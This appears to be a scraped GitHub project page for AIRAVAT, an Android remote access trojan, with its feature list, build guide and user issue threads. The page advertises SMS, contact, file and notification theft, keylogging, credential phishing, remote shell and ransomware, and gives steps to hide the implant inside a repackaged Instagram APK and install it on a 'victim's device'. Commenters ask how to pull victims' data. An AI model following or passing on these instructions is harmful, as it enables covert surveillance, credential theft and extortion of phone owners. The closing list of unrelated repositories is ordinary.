A multifunctional Android RAT with GUI based Web Panel without port forwarding.

Overview

AIRAVAT

A multifunctional Android RAT with GUI based Web Panel without port forwarding.

Features

  • Read all the files of Internal Storage
  • Download Any Media to your Device from Victims Device
  • Get all the system information of Victim Device
  • Retrieve the List of Installed Applications
  • Retrive SMS
  • Retrive Call Logs
  • Retrive Contacts
  • Send SMS
  • Gets all the Notifications
  • Keylogger
  • Admin Permission
  • Show Phishing Pages to steal credentials through notification.
    • Steal credentials through pre built phishing pages
    • Open any suspicious website through notification to steal credentials.
  • Record Audio
  • Play music in Victim's device
  • Vibrate Device
  • Text To Speech
  • Change Wallpaper
  • Run shell Commands
  • Pre Binded with Instagram Webview Phishing
  • Runs In Background
    • Auto Starts on restarting the device
    • Auto Starts when any notification arrives
  • No port forwarding needed

Requirements

How to Build

Firebase Setup

  1. Create an Firebase Account and afterwords create a new project with any name.
  2. Enable Firebase Database and Firebase Storage.
  3. In Firebase Database Click on the rules and set .read and .write to true
    •     {
           "rules": {
                   ".read": "true",
                   ".write": "true"
                    }
          }
  4. In Firebase Storage allow reads and writes for all paths.
    •   rules_version = '2';
        service firebase.storage {
        match /b/{bucket}/o {
            match /{allPaths=**} {
               allow read, write 
              }
          }
       }
  5. Now Go to project overview and create an Android App and download the google-services.json file.
  6. Also create a web app and copy the config of webapp.

Panel Setup

  1. You can use Github Pages or any Hosting Website for hosting the panel.
  2. Open index.html File and from line number 16 replace the config with your web app config which you have created on Step 6.
  3. Save the file , Your Panel Setup is completed.

Android RAT

  1. Download Instagram.apk
  2. Decompile it using any Decompiler recommend above.
  3. Now open res/values/strings.xml file.
  4. Replace values of firebase_database_url , google_api_key , google_app_id , google_storage_bucket , project_id with your Firebase Account using google-services.json file which you have downloaded on step 5
    • Example
      <string name="firebase_database_url">https://your_database_url.firebase.com</string>
      <string name="google_api_key">your_api_key</string>
      <string name="google_app_id">your_app_id</string>
      <string name="google_storage_bucket">your_storage_bucket_url</string>
      <string name="project_id">project_id</string>
  5. Now compile the code with appt2.
  6. Install the app in victim's device and give all the permissions after that the connection will show up in web panel.

PoC Video

  1. https://youtu.be/i3JAHcsWwu0 (old video)

Tutorial Videos

  1. https://youtu.be/an2BALW73j4 (SPHANTER)
  2. https://youtu.be/atSX_YDniyM (Mr.Ethical YT)

❤️ Supporters ❤️

Stargazers repo roster for @th30neand0nly/AIRAVAT

Forkers repo roster for @th30neand0nly/AIRAVAT

AIRAVAT PRO

  1. Read , Delete files from victim's device
  2. Encrypt any file in victim's device
  3. Capture Photo from Camera
  4. Get Sim Card Information
  5. Ransomware (encrypt all the files and show the notification demanding for ransom)
  6. Auto Start Permission for all chinese vendors.
  7. Hidden App without Foreground service notification (full stealth mode)

PoC Video

  1. https://youtu.be/wWjJjaJEVAg

Contact Info

  1. Telegram

DISCLAIMER

TO BE USED FOR EDUCATIONAL PURPOSES ONLY

The use of the AIRAVAT is COMPLETE RESPONSIBILITY of the END-USER. Developers assume NO liability and are NOT responsible for any misuse or damage caused by this program. Please read LICENSE.

Comments
  • Play music command not working

    Play music command not working

    when i use the play music command it doesn't work

    instead it says Response ERROR: Song Not Found from URL

    but when i input song url into browser it plays

    opened by krisdowis 7
  • Issues

    Issues

    1.The Shell Command is totally useless When Ever I type Any Commands even a simple one it does not work 2. Keylogger is good but i can't keep scrolling and clicking There should be easier way to do it 3.there is no login portal in panel if the link is the only way to access. anyone can access without the admin permission 4. There should be option of the app like auto clicker or when we want we can click on victim screen 5. The admin panel also hangs sometime

    opened by Aditya36363 5
  • Step by step deailt guide line

    Step by step deailt guide line

    Hi, I'm new to firebase stuff. would you mind explaining a bit in details step by step to configure this. I have done data base and storage part not stuck with hosting ?

    opened by tehseensagar 3
  • Victim are Not Visible in Control panel

    Victim are Not Visible in Control panel

    The Airavat was working good But after time the Airavat does not show any victims also there is duplicate device bug Last and very important That you should add custom webview Your Rat's Instagram Url is Decoded and Can't be changeable

    opened by Aditya36363 1
  • Locked screen after turning off admin permisson

    Locked screen after turning off admin permisson

    hello, I was testing this rat on my physical device and when I turned admin permission off. then suddenly I got lock screen. please tell me the password or way how can I unlock my phone??

    opened by virtuald006 1
  • There is no option to download data.

    There is no option to download data.

    How to download victim's data??

    Only 3 options are visible.. Open, Delete and encrypt !!! Then there is no option.

    How to download userdata of victim in Airavat??

    Plzz bro quickly solve this problem ❤️

    opened by RiteshAmadiya 1
  • Cant Activate Google Services

    Cant Activate Google Services

    Ha i have installed like in the Tutorial was said, worked good. When istart the app it Pops up a little Window for just 0.2 sec so it was hard to make a screenshot but it get one of the Message. After the Message it send me directly to an Option Menu. Where i have to put on Google Services. when i try to activate it i wouldnt and says a wired translatet Text into German. (BTW im from Germany)

    When i tap on "Zulassen" (Allow) it says:

    "Wenn eine App ein Berechtigungsdialogfeld blockiert, ziehe das überlappende Objekt weg oder schließe die App" English: "If an app is blocking a permissions dialog, drag away the overlapping item or close the app"

    What can the Problem be? Screenshots: Startup Message Allow Error

    I will try to reply as fast as possible :) Thanks for the Help, if more infos or Documents need ask :)

    opened by Stormez1998 1
  • Compiling

    Compiling

    Hey, your tutorial and tool are very good and well explained, but APK Easy Tool returns an error when trying to recompile the file (even when I try recompiling before modifying it). Thank you in advance.

    (from Windows)

    errors: W: C:\Users\trxsh\Documents\APK Easy Tool\1-Decompiled APKs\Instagram\res\values\ids.xml:20: error: inner element must either be a resource reference or empty.

    I got many like that, all from ids.xml (using aapt2)

    image

    opened by trxshlxrd 1
Owner
The One And Only
There was , is and will be only 0ne
The One And Only
Image Processing Engine with GUI

Image Processing Engine with GUI Imperial College London Department of Computing Third Year Software Engineer Group Project Supervisor: Dr. Pancham Sh

null 1 Jan 14, 2022
A simple GUI frontend for the norns docker environment

This is a simple GUI frontend for the norns docker environment. It displays the virtual norns UI using the screenshot server and exposes OSC controls.

Will Winder 4 Jul 30, 2022
Web Container: A simple web container library for Android to help fellow developer to open WebView easily

WebContainer Description Web Container is a simple web container library for And

Achmad Ichsan Thaib 8 Nov 22, 2022
A toy port scanner to help me (and you!) learn Kotlin + Akka.

kotlin-akka-portscan A toy program to help me (and you!) learn Kotlin + Akka. butwhy.gif When I want to learn a new language, I've found it helpful to

Jeremi M Gosney 4 Jul 23, 2022
StretchKt - a Kotlin port of stretch2

StretchKt StretchKt is a Kotlin port of stretch2, which is an implementation of Flexbox originally written in Rust. The current tracked commit of the

null 2 Jun 4, 2022
Candroid Browser is a replacement web browser for Candroid. It is designed to replace the AOSP browser, but not Google Chrome. It will be based on a privacy friendly WebKit engine fork.

Candroid Browser Candroid Browser is a replacement web browser for Candroid. It is designed to replace the AOSP browser, but not Google Chrome. It wil

Sean P. Myrick V19.1.7.2 3 Dec 22, 2022
A Kotlin/Java library to connect directly to an Android device without an adb binary or an ADB server

dadb Blog Post: Our First Open-Source Project A Kotlin/Java library to connect directly to an Android device without an adb binary or an ADB server de

mobile.dev 791 Dec 20, 2022
Quickly rotate screen on Android devices without second thought

Useful uitlity for ONYX BOOX Eink devices. It provides several quick actions to be added in top system panel

Daniel Kao 21 Jan 3, 2023
An Android Image compress library, reduce's the size of the image by 90% without losing any of its pixels.

Image Compressor An Android image compress library, image compressor, is small and effective. With very little or no image quality degradation, a comp

Vinod Baste 11 Dec 23, 2022
A simple textfield for adding quick notes without ads.

Simple Notes A simple textfield for adding quick notes. Need to take a quick note of something to buy, an address, or a startup idea? Then this is the

Simple Mobile Tools 670 Dec 31, 2022
Easy app for managing your files without ads, respecting your privacy & security

Simple File Manager Can also be used for browsing root files and SD card content. You can easily rename, copy, move, delete and share anything you wis

Simple Mobile Tools 1.2k Dec 29, 2022
Browse your memories without any interruptions with this photo and video gallery

Simple Gallery Simple Gallery Pro is a highly customizable lightweight gallery loved by millions of people for its great user experience. Organize and

Simple Mobile Tools 2.8k Jan 8, 2023
DSL for JPA Criteria API without generated metamodel and reflection.

Kotlin JDSL Kotlin JDSL is DSL for JPA Criteria API without generated metamodel and reflection. It helps you write a JPA query like writing an SQL sta

LINE 379 Jan 7, 2023
Send Whatsapp Message Without Saving Mobile Number

Send Whatsapp Message Without Saving Mobile Number In this project i created the

THANGADURAI SELVARAJ 2 Apr 22, 2022
Kotlin extension function provides a facility to "add" methods to class without inheriting a class or using any type of design pattern

What is Kotlin Extension Function ? Kotlin extension function provides a facility to "add" methods to class without inheriting a class or using any ty

mohsen 21 Dec 3, 2022
A clone of hn.premii.com implemented in KMP with Web (React), iOS (Swift UI), Android and Desktop (Compose) UIs

An clone of hn.premii.com implemented in Kotlin Multiplatform with shared Android/Desktop Compose UI, SwiftUI on iOS and React for Web This example su

Tarek Belkahia 7 Feb 5, 2022
Collection of Rewrite Recipes pertaining to the JHipster web application & microservice development platform

Apply JHipster best practices automatically What is this? This project implements a Rewrite module that applies best practices and migrations pertaini

OpenRewrite 5 Mar 7, 2022
Jetpack Compose for Desktop and Web, a modern UI framework for Kotlin that makes building performant and beautiful user interfaces easy and enjoyable.

Jetpack Compose for Desktop and Web, a modern UI framework for Kotlin that makes building performant and beautiful user interfaces easy and enjoyable.

JetBrains 10k Jan 7, 2023